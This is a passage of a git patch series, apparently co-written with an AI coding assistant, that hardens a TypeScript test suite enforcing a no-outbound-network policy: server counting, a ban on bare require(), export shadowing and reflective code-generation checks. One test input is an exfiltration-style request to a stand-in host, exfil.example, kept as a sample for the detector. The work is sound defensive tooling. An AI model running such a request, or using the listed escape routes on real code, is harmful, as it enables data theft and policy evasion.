+ const exprServers = (node: ts.Node | undefined): number => {
+ if (node === undefined) return 0;
+ if (ts.isFunctionLike(node) || ts.isClassLike(node)) return 0;
+ if (ts.isConditionalExpression(node)) {
+ return exprServers(node.condition) + Math.max(exprServers(node.whenTrue), exprServers(node.whenFalse));
+ }
+ let total = ts.isCallExpression(node) ? serversOf(node) : 0;
+ node.forEachChild((child) => {
+ total += exprServers(child);
+ });
+ return total;
+ };
+ // Servers on the busiest execution path through one statement: `max` is the path
+ // that instantiates the most (an internal `return`/`throw` ends that path here),
+ // `exits` whether control always leaves the statement, `pass` what runs when it
+ // falls through. Exclusive branches take the max; sequences add — so multiple
+ // `return createServer()` are one per call while two sequential creations are two.
+ const stmtFlow = (stmt: ts.Statement): { readonly max: number; readonly exits: boolean; readonly pass: number } => {
+ if (ts.isReturnStatement(stmt) || ts.isThrowStatement(stmt)) {
+ return { max: exprServers(stmt.expression), exits: true, pass: 0 };
+ }
+ if (ts.isBlock(stmt)) return blockFlow(stmt.statements);
+ if (ts.isIfStatement(stmt)) {
+ const cond = exprServers(stmt.expression);
+ const thenFlow = stmtFlow(stmt.thenStatement);
+ const elseFlow = stmt.elseStatement !== undefined ? stmtFlow(stmt.elseStatement) : { max: 0, exits: false, pass: 0 };
+ return {
+ max: cond + Math.max(thenFlow.max, elseFlow.max),
+ exits: thenFlow.exits && elseFlow.exits,
+ pass: cond + Math.max(thenFlow.exits ? 0 : thenFlow.pass, elseFlow.exits ? 0 : elseFlow.pass),
+ };
+ }
+ // Any other statement (expression / variable / loop / switch / try): every
+ // instantiating call it contains runs and control falls through — an upper
+ // bound for branchy forms, which therefore fail closed toward the bound.
+ const servers = exprServers(stmt);
+ return { max: servers, exits: false, pass: servers };
+ };
+ const blockFlow = (statements: readonly ts.Statement[]): { readonly max: number; readonly exits: boolean; readonly pass: number } => {
+ let straight = 0;
+ let best = 0;
+ for (const stmt of statements) {
+ const flow = stmtFlow(stmt);
+ best = Math.max(best, straight + flow.max);
+ if (flow.exits) return { max: best, exits: true, pass: 0 };
+ straight += flow.pass;
+ }
+ return { max: Math.max(best, straight), exits: false, pass: straight };
+ };
+ // Servers instantiated by one invocation of a confined factory, capped at 2 —
+ // the bound only distinguishes "at most one" from "more than one". A factory in
+ // progress on the current path contributes 0 (cycle-closed, matching the
+ // fixpoint; an alias-returning factory adds none).
+ const factoryServerCount = (factory: ts.Symbol): number => {
const known = memo.get(factory);
if (known !== undefined) return known;
- memo.set(factory, false);
- const result = ctx.calls.some((call) => enclosingFunctionSymbol(ctx, call) === factory && instantiates(call));
- memo.set(factory, result);
- return result;
+ memo.set(factory, 0);
+ const fn = eligibleCallee(ctx, factory);
+ let count = 0;
+ if (fn !== null && fn.body !== undefined) {
+ count = ts.isBlock(fn.body) ? blockFlow(fn.body.statements).max : exprServers(fn.body);
+ }
+ const bounded = Math.min(count, 2);
+ memo.set(factory, bounded);
+ return bounded;
};
- const instantiates = (call: ts.CallExpression): boolean => {
+ // Servers one evaluation of a call instantiates: a proven createServer makes
+ // one; a confined-factory call makes as many as one invocation of that factory
+ // does — for a factory seeded from a sibling host file, the exporting file's
+ // proven per-invocation count; any other call makes none.
+ const serversOf = (call: ts.CallExpression): number => {
const callee = unwrap(call.expression);
- if (isProvenCreateServerCall(ctx, call)) return true;
- if (!isConfinedFactoryCall(ctx, call)) return false;
+ if (isProvenCreateServerCall(ctx, call)) return 1;
+ if (!isConfinedFactoryCall(ctx, call)) return 0;
const factory = valueSymbolOf(ctx.checker, callee);
- if (factory === undefined) return false;
- // A factory seeded from a sibling host file instantiates a server only if the exporting file proved so.
- return ctx.externalInstantiatingFactories.has(factory) || factoryInstantiates(factory);
+ if (factory === undefined) return 0;
+ if (ctx.externalMultiInstantiatingFactories.has(factory)) return 2;
+ if (ctx.externalInstantiatingFactories.has(factory)) return 1;
+ return factoryServerCount(factory);
};
+ const factoryCount = (factory: ts.Symbol): number =>
+ ctx.externalMultiInstantiatingFactories.has(factory)
+ ? 2
+ : ctx.externalInstantiatingFactories.has(factory)
+ ? 1
+ : factoryServerCount(factory);
const sites = ctx.calls.filter((call) => {
const owner = enclosingFunctionSymbol(ctx, call);
- return (owner === undefined || !ctx.confinedFactories.has(owner)) && instantiates(call);
+ return (owner === undefined || !ctx.confinedFactories.has(owner)) && serversOf(call) > 0;
});
- ctx.instantiationSites = sites.length;
for (const factory of ctx.confinedFactories) {
- if (ctx.externalInstantiatingFactories.has(factory) || factoryInstantiates(factory)) ctx.instantiatingFactories.add(factory);
+ const count = factoryCount(factory);
+ if (count >= 1) ctx.instantiatingFactories.add(factory);
+ if (count >= 2) ctx.multiInstantiatingFactories.add(factory);
+ }
+ // The tree entry counts servers across files: only the first server of the
+ // whole host tree is free. A site is denied once it would create a server
+ // beyond that single free one — whether it is the second external site or one
+ // factory call whose single invocation instantiates two servers.
+ let running = ctx.priorInstantiationSites;
+ for (const site of sites) {
+ const servers = serversOf(site);
+ if (running + servers > 1) deny(ctx, 'CREATE_SERVER_MULTIPLE', site);
+ running += servers;
}
- // The tree entry counts sites across files: only the first site of the whole host tree is free.
- for (const site of sites.slice(Math.max(0, 1 - ctx.priorInstantiationSites))) deny(ctx, 'CREATE_SERVER_MULTIPLE', site);
+ ctx.instantiationSites = running - ctx.priorInstantiationSites;
}
function classify(ctx: Context): void {
@@ -1622,7 +1712,9 @@ function createContext(source: string, options: NetworkPolicyOptions): Context {
priorInstantiationSites: options.priorInstantiationSites ?? 0,
externalFactories: new Set(),
externalInstantiatingFactories: new Set(),
+ externalMultiInstantiatingFactories: new Set(),
instantiatingFactories: new Set(),
+ multiInstantiatingFactories: new Set(),
externalStrings: new Set(),
externalStringFunctions: new Set(),
instantiationSites: 0,
@@ -1724,18 +1816,21 @@ const hasDefaultModifier = (node: ts.Node): boolean =>
function hostExportsOf(ctx: Context): HostModuleExports {
const factories = new Set();
const instantiatingFactories = new Set();
+ const multiInstantiatingFactories = new Set();
const strings = new Set();
const stringFunctions = new Set();
const classifyBinding = (symbol: ts.Symbol | undefined, exportName: string): void => {
if (symbol === undefined) return;
if (ctx.confinedFactories.has(symbol)) factories.add(exportName);
if (ctx.instantiatingFactories.has(symbol)) instantiatingFactories.add(exportName);
+ if (ctx.multiInstantiatingFactories.has(symbol)) multiInstantiatingFactories.add(exportName);
if (isStringFunction(ctx, symbol, new Set())) stringFunctions.add(exportName);
else if (isStringValue(ctx, symbol)) strings.add(exportName);
};
const copyFrom = (source: HostModuleExports, imported: string, exportName: string): void => {
if (source.factories.has(imported)) factories.add(exportName);
if (source.instantiatingFactories.has(imported)) instantiatingFactories.add(exportName);
+ if (source.multiInstantiatingFactories.has(imported)) multiInstantiatingFactories.add(exportName);
if (source.strings.has(imported)) strings.add(exportName);
if (source.stringFunctions.has(imported)) stringFunctions.add(exportName);
};
@@ -1815,7 +1910,7 @@ function hostExportsOf(ctx: Context): HostModuleExports {
const source = providers[0];
if (source !== undefined) copyFrom(source, name, name);
}
- return { factories, instantiatingFactories, strings, stringFunctions };
+ return { factories, instantiatingFactories, multiInstantiatingFactories, strings, stringFunctions };
}
/** One host source file for the tree entry; `file` is its native path relative to the host root (win32: either separator; elsewhere a backslash is a literal filename character). */
@@ -1827,6 +1922,7 @@ export interface HostSource {
const EMPTY_EXPORTS: HostModuleExports = {
factories: new Set(),
instantiatingFactories: new Set(),
+ multiInstantiatingFactories: new Set(),
strings: new Set(),
stringFunctions: new Set(),
};
@@ -1838,6 +1934,7 @@ const sameExports = (left: HostModuleExports | undefined, right: HostModuleExpor
left !== undefined &&
sameNames(left.factories, right.factories) &&
sameNames(left.instantiatingFactories, right.instantiatingFactories) &&
+ sameNames(left.multiInstantiatingFactories, right.multiInstantiatingFactories) &&
sameNames(left.strings, right.strings) &&
sameNames(left.stringFunctions, right.stringFunctions);
From 2a8cdd93a81efd610ba63721b95e2e201dc87d35 Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 19:50:44 +0200
Subject: [PATCH 18/20] fix: make the D3 executable closure ESM-only, forbid
bare runtime require()
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
The closure is ESM-only (package.json "type": "module", NodeNext, .ts sources)
and no real member uses CommonJS require(). Rather than model require resolution,
forbid it outright (audit Design A):
- add `hasBareRuntimeRequire`, applied over every closure member: a bare-identifier
`require(...)` call is one structural policy violation, whatever its target —
literal, computed, conditional, or laundered are refused identically, closing the
outbound path a CommonJS helper could open;
- the rule matches only a `CallExpression` whose callee is exactly the identifier
`require`, so `obj.require(...)`, `require.resolve(...)`, a property/field named
`require`, and the TypeScript `import x = require('S')` external-module reference
keep their meaning;
- stop modelling `require(...)` as a module edge in `extractModuleSpecifiers`;
- drop the `.cjs`→`.cts` runtime-closure mapping in `closureMemberOf` (keep ESM
`.js`/`.mjs`), so a CommonJS member has no admitted source and fails closed.
The existing ESM import/export/import-equals/dynamic-import behavior is unchanged.
Regressions added: literal and computed bare require() are rejected; obj.require,
require.resolve, a require property/field, and import-equals are not misclassified;
import-equals keeps its existing edge behavior; the real executable closure remains
exactly the pinned 12 files and passes. No production src/** changes.
Co-Authored-By: Claude Opus 4.8
Claude-Session: https://claude.ai/code/session_01Rs9Qo9mWsSzFt8PDw5MAHs
---
tests/cockpit-host/purity.test.ts | 113 ++++++++++++++++++++----------
1 file changed, 75 insertions(+), 38 deletions(-)
diff --git a/tests/cockpit-host/purity.test.ts b/tests/cockpit-host/purity.test.ts
index 9762285..5206f14 100644
--- a/tests/cockpit-host/purity.test.ts
+++ b/tests/cockpit-host/purity.test.ts
@@ -197,9 +197,15 @@ const srcFileUrl = (name: string): URL => new URL(name.split('/').map(encodeURIC
/**
* The closure member a runtime relative import executes: resolved through the one
- * resolver, then the NodeNext `.js` specifier mapped to its `.ts` source. Throws
- * when the import cannot be read as a `src/` source file — an executable
+ * resolver, then the NodeNext ESM `.js` specifier mapped to its `.ts` source.
+ * Throws when the import cannot be read as a `src/` source file — an executable
* dependency the tree cannot analyze is exactly the gap the closure closes.
+ *
+ * The closure is ESM-only, so only the ES-module output extensions are mapped
+ * (`.js`→`.ts`, `.mjs`→`.mts`). The CommonJS `.cjs`→`.cts` mapping is deliberately
+ * absent: the real project uses no CommonJS, so a `.cjs` import has no admitted
+ * source and fails closed here rather than pulling a CommonJS member into the
+ * runtime closure.
*/
const closureMemberOf = (importerFileUrl: URL, specifier: string): string => {
const resolvedUrl = resolveRelativeImport(importerFileUrl, specifier);
@@ -212,7 +218,7 @@ const closureMemberOf = (importerFileUrl: URL, specifier: string): string => {
const sourceUrl = new URL(resolvedUrl.href);
sourceUrl.search = '';
sourceUrl.hash = '';
- sourceUrl.pathname = sourceUrl.pathname.replace(/\.js$/, '.ts').replace(/\.mjs$/, '.mts').replace(/\.cjs$/, '.cts');
+ sourceUrl.pathname = sourceUrl.pathname.replace(/\.js$/, '.ts').replace(/\.mjs$/, '.mts');
const name = srcRelativeName(sourceUrl);
if (!existsSync(fileURLToPath(sourceUrl))) {
throw new Error(`D3-NET: runtime import ${specifier} from ${importerFileUrl.href} has no source file ${name}`);
@@ -284,12 +290,14 @@ const isAllowedNodeBuiltin = (specifier: string): boolean => ALLOWED_NODE_BUILTI
* - dynamic `import('S')` / `import('S', { … })` — a call whose callee is the
* `import` keyword; its first argument surfaces only as a `StringLiteral` or a
* substitution-free `NoSubstitutionTemplateLiteral`, never a substituted
- * `TemplateExpression` (a computed specifier);
- * - CommonJS `require('S')` — a call whose callee is the bare identifier
- * `require`; its first argument surfaces on the same static-string rule as
- * dynamic `import`. A `.cts`/`.cjs` closure member loads its dependencies
- * through `require`, so this is a genuine runtime module edge — `obj.require(…)`
- * (a property call) and `require.resolve(…)` are not.
+ * `TemplateExpression` (a computed specifier).
+ *
+ * The closure is ESM-only (`package.json` `"type": "module"`, NodeNext): a bare
+ * runtime `require(...)` is not a module edge here — it is forbidden outright by
+ * `hasBareRuntimeRequire` in the discipline layer, so it is not modelled or
+ * resolved as a specifier. (The TypeScript `import x = require('S')` external-module
+ * reference above is a compile-time ESM-interop form, parsed as an
+ * `ImportEqualsDeclaration`, not a `require` call, and is unaffected.)
*
* Excluded structurally, with no special-casing: `import.meta` (a meta-property,
* not a call), `obj.import(…)` (a property call), and a member/property/class-field
@@ -366,18 +374,6 @@ function extractModuleSpecifiers(source: string, options: { readonly runtimeOnly
// never reaches this branch.
const arg = node.arguments[0];
if (arg !== undefined && ts.isStringLiteralLike(arg)) specifiers.push(arg.text);
- } else if (
- ts.isCallExpression(node) &&
- ts.isIdentifier(node.expression) &&
- node.expression.text === 'require'
- ) {
- // CommonJS `require('S')`: a bare-identifier `require` call — the runtime
- // load form of a `.cts`/`.cjs` closure member. Its first argument surfaces
- // on the same static-string rule as dynamic `import`. `obj.require(…)` (a
- // property call) and `require.resolve(…)` have a non-identifier callee and
- // never reach this branch.
- const arg = node.arguments[0];
- if (arg !== undefined && ts.isStringLiteralLike(arg)) specifiers.push(arg.text);
}
ts.forEachChild(node, visit);
};
@@ -421,6 +417,36 @@ const hasUnverifiableDynamicImport = (source: string): boolean => {
return found;
};
+/**
+ * Report whether the source contains a bare runtime `require(...)` call
+ * (D3-CX-POLICY-ESM). The executable closure is ESM-only (`package.json`
+ * `"type": "module"`, NodeNext, `.ts` sources); a bare `require` is not a binding
+ * an ES module has at runtime, so such a call is either a `ReferenceError` or a
+ * `createRequire`-smuggled CommonJS load. The closure forbids it outright with one
+ * structural policy violation — no target is inspected, so a literal, a computed,
+ * a conditional, or a laundered specifier is refused identically, closing the
+ * outbound path a CommonJS helper could otherwise open.
+ *
+ * A *bare* runtime require is a `CallExpression` whose callee is exactly the
+ * identifier `require`. This deliberately does NOT match, so the following keep
+ * their meaning: `obj.require(…)` and `require.resolve(…)` (the callee is a
+ * property access, not the bare identifier), a member/property/class field named
+ * `require` (`{ require: 'S' }`, `class C { require = 'S' }`; not a call), and the
+ * TypeScript `import x = require('S')` external-module reference (an
+ * `ImportEqualsDeclaration`, never a `require` call node). Comments and string
+ * literals are not identifier nodes and are never matched.
+ */
+const hasBareRuntimeRequire = (source: string): boolean => {
+ const sourceFile = ts.createSourceFile('module.ts', source, ts.ScriptTarget.Latest, /* setParentNodes */ false, ts.ScriptKind.TS);
+ let found = false;
+ const visit = (node: ts.Node): void => {
+ if (ts.isCallExpression(node) && ts.isIdentifier(node.expression) && node.expression.text === 'require') found = true;
+ ts.forEachChild(node, visit);
+ };
+ ts.forEachChild(sourceFile, visit);
+ return found;
+};
+
// ---------------------------------------------------------------------------
// Shared structural helpers for the acquisition-site RC/HA detectors
// (D3-CX-POLICY-RC / -HA). These reason over parented AST nodes so a capability
@@ -3525,6 +3551,8 @@ describe('D3 executable closure outbound-capability discipline (D3-NET single so
hasUnverifiableDynamicImport(text),
`${file} contains an unverifiable (computed) dynamic import`,
).toBe(false);
+ // The closure is ESM-only: no member may reach for a bare runtime `require(...)`.
+ expect(hasBareRuntimeRequire(text), `${file} contains a bare runtime require()`).toBe(false);
expect(outboundCapabilityViolation(text), `${file} imports an outbound-capable module`).toBeNull();
}
});
@@ -3581,23 +3609,32 @@ describe('D3 executable closure outbound-capability discipline (D3-NET single so
describe('D3 executable-closure module-graph correctness (Codex P1/P2)', () => {
// The closure walk must enumerate the true runtime module graph and resolve each
- // edge with the project's TypeScript/Node semantics. These are the three audited
- // cases; the outbound rule here is the same `relative-or-allow-listed` predicate
- // the discipline block enforces.
- const outboundOk = (specifier: string): boolean => isRelativeImportSpecifier(specifier) || isAllowedNodeBuiltin(specifier);
-
- // (1) CommonJS `require` in a `.cts`/`.cjs` closure member is a runtime edge.
- it('surfaces a bare require() as a runtime module edge', () => {
- expect(extractModuleSpecifiers(`const https = require('node:https');\nhttps.get('x');`, { runtimeOnly: true })).toEqual(['node:https']);
- expect(extractModuleSpecifiers(`const sibling = require('./helper.cjs');`, { runtimeOnly: true })).toEqual(['./helper.cjs']);
- // A builtin require is refused by the outbound rule; a relative require is followed as a closure edge.
- expect(outboundOk('node:https')).toBe(false);
- expect(isRelativeImportSpecifier('./helper.cjs')).toBe(true);
- });
- it('does not treat require.resolve or a property/keyed require as a module edge', () => {
- expect(extractModuleSpecifiers(`const p = require.resolve('node:https');`, { runtimeOnly: true })).toEqual([]);
- expect(extractModuleSpecifiers(`const x = obj.require('node:https');`, { runtimeOnly: true })).toEqual([]);
- expect(extractModuleSpecifiers(`const x = { require: 'node:https' };`, { runtimeOnly: true })).toEqual([]);
+ // edge with the project's TypeScript/Node semantics. The closure is ESM-only, so
+ // a bare runtime `require(...)` is a policy violation, not a modelled edge.
+
+ // (1a) The closure is ESM-only: a bare runtime `require(...)` is forbidden with
+ // one structural rule, whatever its target — literal, computed, or laundered.
+ it('rejects a bare runtime require() regardless of target', () => {
+ expect(hasBareRuntimeRequire(`const https = require('node:https');\nhttps.get('x');`)).toBe(true); // literal
+ expect(hasBareRuntimeRequire(`const net = require(chosen);`)).toBe(true); // computed (identifier)
+ expect(hasBareRuntimeRequire(`const net = require('node:' + name);`)).toBe(true); // computed (concatenation)
+ expect(hasBareRuntimeRequire(`const net = require(\`node:\${name}\`);`)).toBe(true); // computed (template)
+ expect(hasBareRuntimeRequire(`const sibling = require('./helper.js');`)).toBe(true); // even a relative literal
+ // A bare require is not a module edge either — the extractor never surfaces it.
+ expect(extractModuleSpecifiers(`const https = require('node:https');`, { runtimeOnly: true })).toEqual([]);
+ expect(extractModuleSpecifiers(`const sibling = require('./helper.js');`, { runtimeOnly: true })).toEqual([]);
+ });
+
+ // (1b) Only the *bare* `require(...)` call is a violation — these keep their meaning.
+ it('does not misclassify obj.require, require.resolve, a require property, or import-equals', () => {
+ expect(hasBareRuntimeRequire(`const x = obj.require('node:https');`)).toBe(false); // property call
+ expect(hasBareRuntimeRequire(`const p = require.resolve('node:https');`)).toBe(false); // require.resolve
+ expect(hasBareRuntimeRequire(`const x = { require: 'node:https' };`)).toBe(false); // property name
+ expect(hasBareRuntimeRequire(`class C { require = 'node:https'; }`)).toBe(false); // class field name
+ // The TypeScript `import x = require('S')` external-module reference is not a
+ // `require` call node; it keeps its existing behavior (not flagged, still an edge).
+ expect(hasBareRuntimeRequire(`import Ns = require('./loaded.js');`)).toBe(false);
+ expect(extractModuleSpecifiers(`import Ns = require('./loaded.js');`, { runtimeOnly: true })).toEqual(['./loaded.js']);
});
// (2) A named clause whose specifiers are all `type` erases at runtime.
From daac5a8da1fdaa6436ca44e567c3ecb74c4840d9 Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 20:27:47 +0200
Subject: [PATCH 19/20] fix: enumerate every explicit export name and count
loop-created servers
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Close the open Codex finding and repair the adjacent same-mechanism defects a
bounded D3 sweep surfaced. Enforcement/tests only; no production src/** changes.
Effective-export semantics (hostExportsOf): the explicit-export enumerator
recorded only identifier variable names and function declarations, so a same-name
star export was not shadowed by other explicit binding forms and wrongly kept the
star's proven fact. It now records every explicit export name — object/array
destructuring patterns (nested and rest included), `class`, `enum`, and an
`export * as ns` namespace binding — so each takes ECMAScript precedence over
`export *`. The Codex witness (`export const { chunk } = …` beside
`export * from './safe.js'`) and its binding-form siblings now deny
`response.end(chunk)` instead of accepting the callable as a proven string.
Server cardinality (factoryServerCount): the per-invocation path analysis treated
a loop like a straight-line statement, counting a server instantiated in a loop
body once. A loop can run more than once, so any instantiation inside for/for-in/
for-of/while/do now counts the factory as multi-instantiating (fail-closed, capped
at two); a loop that instantiates nothing still leaves a single trailing creation
allowed.
Also add an explicit regression that a bare `require('node:http')` — the one
allow-listed builtin — is rejected like any other bare runtime require.
Regressions added for each repaired form. All existing legitimate behavior and the
real host/closure are preserved.
Sweep families inspected with no further defect: executable module edges /
resolution (createRequire is closed by the node:module allow-list ban), ESM-only
erased/type-only imports/exports, cross-file fact propagation, SERVER/REQUEST/
RESPONSE positive-policy propagation, and the RC/HA/outbound guards over the
complete closure.
Co-Authored-By: Claude Opus 4.8
Claude-Session: https://claude.ai/code/session_01Rs9Qo9mWsSzFt8PDw5MAHs
---
tests/cockpit-host/d3-network-policy.test.ts | 43 ++++++++++++++
tests/cockpit-host/purity.test.ts | 1 +
.../cockpit-host/support/d3-network-policy.ts | 56 ++++++++++++++++---
3 files changed, 93 insertions(+), 7 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index a1c13c9..92f7ae5 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -1759,6 +1759,49 @@ get().close();`,
});
expect(reasonsOf(crossSingle, 'main.ts')).toEqual([]);
});
+
+ it('shadows a star export with every explicit binding form, not just an identifier (Codex P1)', () => {
+ // A same-name explicit export takes ECMAScript precedence over `export *`,
+ // whatever its binding form: an object or array destructuring pattern, or a
+ // class. In each case the explicit `chunk` is not a proven string, so the
+ // star's proven-string fact must not survive — `response.end(chunk)` is denied.
+ const server = `${NS}\nimport { chunk } from './barrel.js';\nhttp.createServer((request, response) => { response.end(chunk); });`;
+ for (const explicit of [
+ `export const { chunk } = { chunk: (): void => {} };`, // object pattern (the witness)
+ `export const [chunk] = [(): void => {}];`, // array pattern
+ `export const { inner: { chunk } } = { inner: { chunk: (): void => {} } };`, // nested pattern
+ `export class chunk {}`, // class declaration
+ ]) {
+ const result = tree({
+ 'safe.ts': `export const chunk = 'safe-body';`,
+ 'barrel.ts': `export * from './safe.js';\n${explicit}`,
+ 'server.ts': server,
+ });
+ expect(reasonsOf(result, 'barrel.ts'), explicit).toEqual([]);
+ expect(reasonsOf(result, 'server.ts'), explicit).toEqual(['RESPONSE_END_ARGUMENT']);
+ }
+ // Control: with no shadowing explicit binding the star's proven string still flows.
+ const nonShadowed = tree({
+ 'safe.ts': `export const chunk = 'safe-body';`,
+ 'barrel.ts': `export * from './safe.js';`,
+ 'server.ts': server,
+ });
+ expect(reasonsOf(nonShadowed, 'server.ts')).toEqual([]);
+ });
+
+ it('counts servers created inside a loop body as more than one (server cardinality)', () => {
+ // A confined factory that instantiates inside a loop can create more than one
+ // server per invocation, so a single invocation is still denied.
+ const loop = analyzeNetworkPolicy(
+ `${NS}\nfunction make() { for (let i = 0; i < 2; i += 1) { http.createServer(${L}); } return http.createServer(${L}); }\nmake().listen(4317, '127.0.0.1');`,
+ );
+ expect(loop.reasons).toEqual(['CREATE_SERVER_MULTIPLE']);
+ // A loop that instantiates nothing leaves a single trailing creation allowed.
+ const loopNoServer = analyzeNetworkPolicy(
+ `${NS}\nfunction make() { for (let i = 0; i < 2; i += 1) { void i; } return http.createServer(${L}); }\nmake().listen(4317, '127.0.0.1');`,
+ );
+ expect(loopNoServer.reasons).toEqual([]);
+ });
});
// ---------------------------------------------------------------------------
diff --git a/tests/cockpit-host/purity.test.ts b/tests/cockpit-host/purity.test.ts
index 5206f14..8cce279 100644
--- a/tests/cockpit-host/purity.test.ts
+++ b/tests/cockpit-host/purity.test.ts
@@ -3616,6 +3616,7 @@ describe('D3 executable-closure module-graph correctness (Codex P1/P2)', () => {
// one structural rule, whatever its target — literal, computed, or laundered.
it('rejects a bare runtime require() regardless of target', () => {
expect(hasBareRuntimeRequire(`const https = require('node:https');\nhttps.get('x');`)).toBe(true); // literal
+ expect(hasBareRuntimeRequire(`require('node:http').get('http://exfil.example/');`)).toBe(true); // even the one allow-listed builtin
expect(hasBareRuntimeRequire(`const net = require(chosen);`)).toBe(true); // computed (identifier)
expect(hasBareRuntimeRequire(`const net = require('node:' + name);`)).toBe(true); // computed (concatenation)
expect(hasBareRuntimeRequire(`const net = require(\`node:\${name}\`);`)).toBe(true); // computed (template)
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index 6298906..620db83 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -1576,7 +1576,21 @@ function checkInstantiationSites(ctx: Context): void {
pass: cond + Math.max(thenFlow.exits ? 0 : thenFlow.pass, elseFlow.exits ? 0 : elseFlow.pass),
};
}
- // Any other statement (expression / variable / loop / switch / try): every
+ if (
+ ts.isForStatement(stmt) ||
+ ts.isForInStatement(stmt) ||
+ ts.isForOfStatement(stmt) ||
+ ts.isWhileStatement(stmt) ||
+ ts.isDoStatement(stmt)
+ ) {
+ // A loop body can run more than once, so any server instantiated anywhere in
+ // the loop makes the factory multi-instantiating — the exact per-iteration
+ // count is irrelevant to the "more than one" bound. Fail closed to the cap
+ // when the loop contains any instantiation, and to zero when it contains none.
+ const servers = exprServers(stmt) >= 1 ? 2 : 0;
+ return { max: servers, exits: false, pass: servers };
+ }
+ // Any other statement (expression / variable / switch / try): every
// instantiating call it contains runs and control falls through — an upper
// bound for branchy forms, which therefore fail closed toward the bound.
const servers = exprServers(stmt);
@@ -1838,18 +1852,42 @@ function hostExportsOf(ctx: Context): HostModuleExports {
// shadowed by it and contributes no fact.
const explicitNames = new Set();
const starStatements: ts.ExportDeclaration[] = [];
+ // Every identifier a binding name introduces, recursing through object and array
+ // destructuring patterns (and their nested and rest elements). `export const { a }`
+ // and `export const [a] = …` bind `a` exactly as `export const a` does, so each
+ // must shadow a same-name star export.
+ const bindingIdentifiers = (name: ts.BindingName): ts.Identifier[] => {
+ if (ts.isIdentifier(name)) return [name];
+ const identifiers: ts.Identifier[] = [];
+ for (const element of name.elements) {
+ if (ts.isBindingElement(element)) identifiers.push(...bindingIdentifiers(element.name));
+ }
+ return identifiers;
+ };
+ // Record one explicit export name and classify whatever fact its binding proves.
+ // The name alone shadows a same-name star export even when it proves no fact.
+ const recordExplicit = (symbol: ts.Symbol | undefined, exportName: string): void => {
+ explicitNames.add(exportName);
+ classifyBinding(symbol, exportName);
+ };
for (const statement of ctx.sourceFile.statements) {
if (isAmbient(statement)) continue;
if (ts.isFunctionDeclaration(statement) && statement.name !== undefined && hasExportModifier(statement)) {
- const exportName = hasDefaultModifier(statement) ? 'default' : statement.name.text;
- explicitNames.add(exportName);
- classifyBinding(valueSymbolOf(ctx.checker, statement.name), exportName);
+ recordExplicit(valueSymbolOf(ctx.checker, statement.name), hasDefaultModifier(statement) ? 'default' : statement.name.text);
+ }
+ // A `class`/`enum` export binds a runtime value that likewise shadows a star
+ // export of the same name (it carries no proven string/factory fact of its own).
+ if (ts.isClassDeclaration(statement) && hasExportModifier(statement)) {
+ const exportName = hasDefaultModifier(statement) ? 'default' : statement.name?.text;
+ if (exportName !== undefined) recordExplicit(statement.name === undefined ? undefined : valueSymbolOf(ctx.checker, statement.name), exportName);
+ }
+ if (ts.isEnumDeclaration(statement) && hasExportModifier(statement)) {
+ recordExplicit(valueSymbolOf(ctx.checker, statement.name), statement.name.text);
}
if (ts.isVariableStatement(statement) && hasExportModifier(statement)) {
for (const declaration of statement.declarationList.declarations) {
- if (ts.isIdentifier(declaration.name)) {
- explicitNames.add(declaration.name.text);
- classifyBinding(valueSymbolOf(ctx.checker, declaration.name), declaration.name.text);
+ for (const identifier of bindingIdentifiers(declaration.name)) {
+ recordExplicit(valueSymbolOf(ctx.checker, identifier), identifier.text);
}
}
}
@@ -1864,6 +1902,10 @@ function hostExportsOf(ctx: Context): HostModuleExports {
if (clause === undefined && specifier !== undefined) {
// `export * from 'S'` — an effective-export computation deferred below.
starStatements.push(statement);
+ } else if (clause !== undefined && ts.isNamespaceExport(clause)) {
+ // `export * as ns [from 'S']` — an explicit namespace binding that shadows
+ // a same-name star export (the namespace object proves no fact of its own).
+ explicitNames.add(clause.name.text);
} else if (specifier !== undefined && clause !== undefined && ts.isNamedExports(clause)) {
// `export { a, b as c } from 'S'` — explicit named re-exports.
const source = ts.isStringLiteralLike(specifier) ? ctx.hostImports.get(specifier.text) : undefined;
From 4b7f17265853185a67afa1c6a913d1db0807d948 Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Thu, 3 Sep 2026 21:43:47 +0200
Subject: [PATCH 20/20] fix: apply RC reserved-key policy consistently,
complete export enumeration, fix type-query
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Bounded correction across three D3 enforcement mechanisms; tests only, no src/**.
RC (usesRuntimeCodeGeneration): apply the reserved code-generation key policy
uniformly across every structurally distinguishable recovery form, reusing the
existing static-key machinery.
- Destructuring now reserves `constructor` on any receiver (removing the fail-open
asymmetry with member access) and resolves a ComputedPropertyName through the
shared static-string resolver, so `const { ['con'+'structor']: C } = fn` is
caught exactly as `fn['con'+'structor']` is.
- Reflective recovery: `Reflect.get(obj, K)` is a property read whose key is the
second argument, and `Reflect.construct(...)` is reflective construction — reject
when K is `constructor` (any receiver), `eval`/`Function` off a global receiver,
or an unresolved dynamic key, and reject any `Reflect.construct`. The method name
resolves through the same static-key machinery, so `Reflect['get']` is covered.
`Reflect.apply` (invocation, used by the real closure) is never matched.
Effective-export enumeration (hostExportsOf): a non-type-only export-modified
`import X = …` now claims `X` in explicitNames, so a same-name `export *` fact
cannot survive. Explicit-export-name precedence now holds for the full finite set
of runtime export forms.
Type-query (isValueReference): an identifier that is the exprName of a
TypeQueryNode (through any QualifiedName) is a type-level name that erases at
runtime, never a value read. A runtime `typeof x` (TypeOfExpression) is
unaffected. The fix lands on both the RC and HA guards consistently.
Finite enforcement boundary (unchanged): a dynamic computed key on an arbitrary
non-global receiver is indistinguishable from legitimate data indexing
(`results[index]`, `HTML_ESCAPES[character]`) and is not rejected.
Regressions added for every structural rule. The real executable closure and all
existing D3 invariants remain green.
Co-Authored-By: Claude Opus 4.8
